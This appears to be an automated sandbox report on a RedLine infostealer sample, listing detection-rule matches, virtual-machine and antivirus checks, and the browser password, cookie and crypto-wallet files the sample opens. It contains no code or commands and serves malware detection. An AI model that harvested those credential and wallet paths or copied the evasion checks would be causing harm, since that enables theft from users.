Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: xenbuild.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_011CE7B0	0_2_011CE7B0
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_011CDC90	0_2_011CDC90
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_06669628	0_2_06669628
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_06664468	0_2_06664468
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_06661210	0_2_06661210
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_0666DD00	0_2_0666DD00
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_0666CD13	0_2_0666CD13
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_06665740	0_2_06665740
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_0666D108	0_2_0666D108
Source: C:\Users\user\Desktop\xenbuild.exe	Code function: 0_2_0666D998	0_2_0666D998

Source: xenbuild.exe, 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1323526172.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\040904B0\\OriginalFilename vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\080904B0\\OriginalFilename vs xenbuild.exe
Source: xenbuild.exe, 00000000.00000002.1324597317.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs xenbuild.exe
Source: xenbuild.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs xenbuild.exe

Source: xenbuild.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: xenbuild.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: xenbuild.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: xenbuild.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: xenbuild.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/43@1/2

Source: C:\Users\user\Desktop\xenbuild.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03

Source: C:\Users\user\Desktop\xenbuild.exe

File created: C:\Users\user\AppData\Local\Temp\tmp4361.tmp

Jump to behavior

Source: xenbuild.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: xenbuild.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\xenbuild.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp4383.tmp.0.dr, tmp4362.tmp.0.dr, tmp4382.tmp.0.dr, tmp4394.tmp.0.dr, tmp4361.tmp.0.dr, tmp4393.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xenbuild.exe	Virustotal: Detection: 81%
Source: xenbuild.exe	ReversingLabs: Detection: 85%

Source: unknown	Process created: C:\Users\user\Desktop\xenbuild.exe "C:\Users\user\Desktop\xenbuild.exe"
Source: C:\Users\user\Desktop\xenbuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: xenbuild.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: xenbuild.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: xenbuild.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49728

Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\xenbuild.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\xenbuild.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\xenbuild.exe	Memory allocated: 11C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe	Window / User API: threadDelayed 1756			Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Window / User API: threadDelayed 6850			Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe TID: 7520	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe TID: 7796	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\xenbuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: xenbuild.exe, 00000000.00000002.1323526172.0000000001014000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\xenbuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Users\user\Desktop\xenbuild.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\xenbuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: xenbuild.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xenbuild.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xenbuild.exe PID: 7688, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xenbuild.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
